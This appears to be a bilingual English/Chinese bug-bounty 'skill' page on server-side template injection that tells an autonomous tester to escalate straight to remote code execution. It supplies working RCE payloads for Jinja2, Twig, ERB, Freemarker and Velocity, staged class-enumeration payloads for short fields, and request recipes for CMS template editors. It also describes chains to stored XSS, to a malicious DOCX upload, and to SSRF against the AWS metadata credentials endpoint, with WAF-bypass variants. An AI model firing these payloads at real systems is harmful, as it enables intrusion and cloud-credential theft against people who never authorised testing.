hunt-ssti

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Autonomous Testing Priority

自主测试优先级

Escalate straight to RCE — don't stop at arithmetic detection.
Arithmetic probes (
{{7*7}}→49
) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like
<input value="{{7*7}}">
), producing a false negative even when injection exists.
Order of attack:
  1. Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  2. If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:
    Content-Type: application/x-www-form-urlencoded
    field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    JSON bodies are silently ignored by form-processing endpoints (
    request.form['field']
    sees nothing).
  3. If Jinja2 fails, try Twig (PHP/Symfony):
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  4. Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.
Proof: Command output (
uid=N(user) gid=...
) in the response confirms RCE. If the output appears in HTML (inside a
<div>
or
<pre>
), that still counts — the format is irrelevant, the content is the evidence.

直接升级到 RCE——不要止步于算术检测。
算术探针(
{{7*7}}→49
)可以确认注入点,但不能证明实际影响。真正的目标是操作系统命令执行。当应用将输入原样回显时,算术检测也会静默失败(例如在 HTML 属性
<input value="{{7*7}}">
中回显),即使确实存在注入,也会产生假阴性。
攻击顺序:
  1. 优先尝试 Jinja2 RCE(适用于 Python/Flask——这是现代 Web 应用中最常见的技术栈):
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  2. 如果端点是传统 Web 表单,请以表单编码(form-encoded)正文发送——不要使用 JSON:
    Content-Type: application/x-www-form-urlencoded
    field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    表单处理端点会静默忽略 JSON 正文(
    request.form['field']
    什么也看不到)。
  3. 如果 Jinja2 失败,请尝试 Twig(PHP/Symfony):
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  4. 仅当 RCE 载荷失败时,才回退到算术检测来识别引擎。
**验证标准:**响应中出现命令输出(
uid=N(user) gid=...
)即可确认 RCE。如果输出出现在 HTML 中(例如位于
<div>
或
<pre>
内),仍然算作成功——格式无关紧要,内容才是证据。

14. SSTI — SERVER-SIDE TEMPLATE INJECTION

14. SSTI——服务端模板注入

Easy to detect, high payout ($2K–$8K). Direct path to RCE.
易于检测,回报高($2K–$8K)。可直接通往 RCE。

Detection Payloads (try all)

检测载荷(全部尝试)

{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.

RCE Payloads

RCE 载荷

Jinja2 (Python/Flask):
python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig (PHP/Symfony):
php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ERB (Ruby):
ruby
<%= `id` %>
Jinja2(Python/Flask):
python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig(PHP/Symfony):
php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ERB(Ruby):
ruby
<%= `id` %>

Length-constrained injection fields (profile name, display name, subject)

长度受限的注入字段(个人资料名称、显示名称、主题)

When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full
os.popen
one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:
python
{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
The reflected sink is frequently an outbound email (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).
当可注入字段限制输入长度时(个人资料名称或显示名称字段通常不超过 30–64 个字符),完整的
os.popen
单行载荷无法容纳,但检测和类枚举仍然可行。先用短探针确认,然后分阶段枚举 gadget 索引,而不是一次使用完整载荷:
python
{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
反射型 sink 经常是外发电子邮件(账户更新或确认邮件会渲染用户填写的姓名),而不是网页;应读取邮件正文中的求值结果。已披露案例:reports/125980(个人资料名称 → Jinja2 → 确认邮件,长度受限)。

Where to Test

测试位置

Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected

CMS / "documentation" template-editor forms (authenticated)

CMS / “文档”模板编辑器表单(需登录)

Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:
  1. Fingerprint BEFORE firing RCE — the engine decides the syntax. Do NOT assume Jinja2. Probe the whole matrix and read which one evaluates:
    ${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
    {{7*7}} → 49                      ⇒ Jinja2 / Twig
    <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
    *{7*7}  → 49                      ⇒ Thymeleaf (Spring)
    If
    {{7*7}}
    renders literally but
    ${7*7}
    →49, you are on Freemarker — stop sending
    {{config...}}
    .
  2. The record id is usually a QUERY param, not a body field. The editor form posts back to
    POST /…/template?productId=N
    with the id in the URL. The BODY carries only
    csrf
    ,
    template
    , and a
    template-action
    (
    preview
    |
    save
    ). Putting the id in the body returns
    400 "Missing product id"
    . So keep the id in the query string (
    ?productId=N
    ) AND send a form-encoded body of
    csrf=…&template=<PAYLOAD>&template-action=preview
    .
  3. Re-fetch the CSRF each time and use
    preview
    to iterate.
    GET the editor page to read a fresh
    csrf
    hidden field;
    template-action=preview
    renders your payload WITHOUT persisting (fast feedback loop). Switch to
    template-action=save
    only once the payload is right, then trigger the render (load the public page that uses the template) to fire the command.
    Freemarker documentation RCE (the documented
    Execute
    utility — this IS the intended technique):
    <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
    Velocity equivalent:
    #set($e="e");$e.getClass().forName("java.lang.Runtime")...
    .

有些 SSTI 隐藏在需要登录的模板编辑器之后(CMS“编辑模板”、产品模板或电子邮件模板预览)。PortSwigger 的 “SSTI using documentation” 类别正属于这种形态。以下三点会让简单直接的尝试失败:
  1. 先识别指纹再触发 RCE——语法取决于引擎。 不要假设是 Jinja2。探测整个矩阵,并观察哪一种表达式会被求值:
    ${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
    {{7*7}} → 49                      ⇒ Jinja2 / Twig
    <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
    *{7*7}  → 49                      ⇒ Thymeleaf (Spring)
    如果
    {{7*7}}
    被原样渲染,但
    ${7*7}
    →49,则说明使用的是 Freemarker——不要再发送
    {{config...}}
    。
  2. 记录 ID 通常是查询参数,而不是正文字段。编辑器表单会回 POST 至
    POST /…/template?productId=N
    ,其中 ID 位于 URL。正文只携带
    csrf
    、
    template
    和
    template-action
    (
    preview
    |
    save
    )。将 ID 放入正文会返回
    400 "Missing product id"
    。因此,应将 ID 保留在查询字符串(
    ?productId=N
    )中,并发送表单编码正文
    csrf=…&template=<PAYLOAD>&template-action=preview
    。
  3. 每次都重新获取 CSRF,并使用
    preview
    迭代。
    GET 编辑器页面以读取最新的
    csrf
    隐藏字段;
    template-action=preview
    会在不持久化的情况下渲染载荷,形成快速反馈循环。仅在载荷正确后切换到
    template-action=save
    ,然后触发渲染(加载使用该模板的公开页面)以执行命令。
    有文档依据的 Freemarker RCE(文档中的
    Execute
    utility——这正是预期的利用技术):
    <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
    Velocity 等效载荷:
    #set($e="e");$e.getClass().forName("java.lang.Runtime")...
    。

Related Skills & Chains

相关 Skill 与攻击链

  • hunt-rce
    — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    or Freemarker
    <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
    → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
  • hunt-xss
    — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same
    {{7*7}}
    reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject
    <script>
    into rendered email template → stored XSS hitting every recipient who views the message.
  • hunt-ssrf
    — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig
    {{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}
    or Jinja2 with
    url_for
    /custom filters → AWS metadata exfil → cloud creds.
  • hunt-file-upload
    — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose
    word/document.xml
    contains
    ${T(java.lang.Runtime).getRuntime().exec("id")}
    to a Velocity/Freemarker-driven mail-merge → RCE.
  • security-arsenal
    — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (
    __subclasses__()[N]
    index hunting), Twig
    _self.env
    registerUndefinedFilterCallback, Freemarker
    ?new()
    Execute, ERB backticks, Velocity
    $class.inspect
    , Smarty
    {php}...{/php}
    , plus the WAF-bypass variants (
    {{request|attr('application')|...}}
    , Unicode escapes,
    {%print(...)%}
    ).
  • triage-validation
    — Apply the Pre-Severity Gate before claiming Critical RCE. A
    {{7*7}} → 49
    reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove
    id
    /OOB DNS callback with a unique marker before writing the report.
  • hunt-rce
    ——在 Python/Ruby/PHP/Java 技术栈中,SSTI 是通往 RCE 最简单的路径,因为模板语言本身已经暴露了运行时。链式原语:Jinja2
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    或 Freemarker
    <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
    → 以渲染工作进程身份获得未认证 RCE。始终沿着“指纹识别 → class-walker → 命令执行”的顺序升级。
  • hunt-xss
    ——当模板引擎对运行时进行沙箱隔离(或只能以 HTML 形式取回渲染后的输出)时,同一个
    {{7*7}}
    反射通常仍可产生存储型 XSS。链式原语:未转义的沙箱化 Jinja2 SSTI → 在渲染后的邮件模板中注入
    <script>
    → 命中每位查看消息的收件人。
  • hunt-ssrf
    ——模板引擎通常会先暴露 URL 获取器或过滤器,之后才暴露运行时,因此可以在 RCE 之前获得 SSRF。链式原语:Twig
    {{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}
    或带有
    url_for
    /自定义过滤器的 Jinja2 → AWS 元数据外泄 → 云凭据。
  • hunt-file-upload
    ——Office 文档、SVG 和用户上传的邮件模板是常见的 SSTI 攻击面,因为服务器会再次渲染它们。链式原语:上传一个 DOCX,其
    word/document.xml
    包含
    ${T(java.lang.Runtime).getRuntime().exec("id")}
    ,并进入由 Velocity/Freemarker 驱动的邮件合并流程 → RCE。
  • security-arsenal
    ——使用针对具体引擎的逃逸载荷集合:Jinja2 class-walker 变体(
    __subclasses__()[N]
    索引探测)、Twig
    _self.env
    registerUndefinedFilterCallback、Freemarker
    ?new()
    Execute、ERB 反引号、Velocity
    $class.inspect
    、Smarty
    {php}...{/php}
    ,以及 WAF 绕过变体(
    {{request|attr('application')|...}}
    、Unicode 转义、
    {%print(...)%}
    )。
  • triage-validation
    ——在将问题判定为严重级 RCE 之前,先应用严重性判定前置门(Pre-Severity Gate)。如果
    {{7*7}} → 49
    的反射出现在沙箱化引擎中(例如 Twig 沙箱模式或没有转义机制的 Jinja2 SandboxedEnvironment),则属于中危 SSTI,而不是严重级 RCE。撰写报告前,应使用唯一标记证明
    id
    命令执行或 OOB DNS 回调已经发生。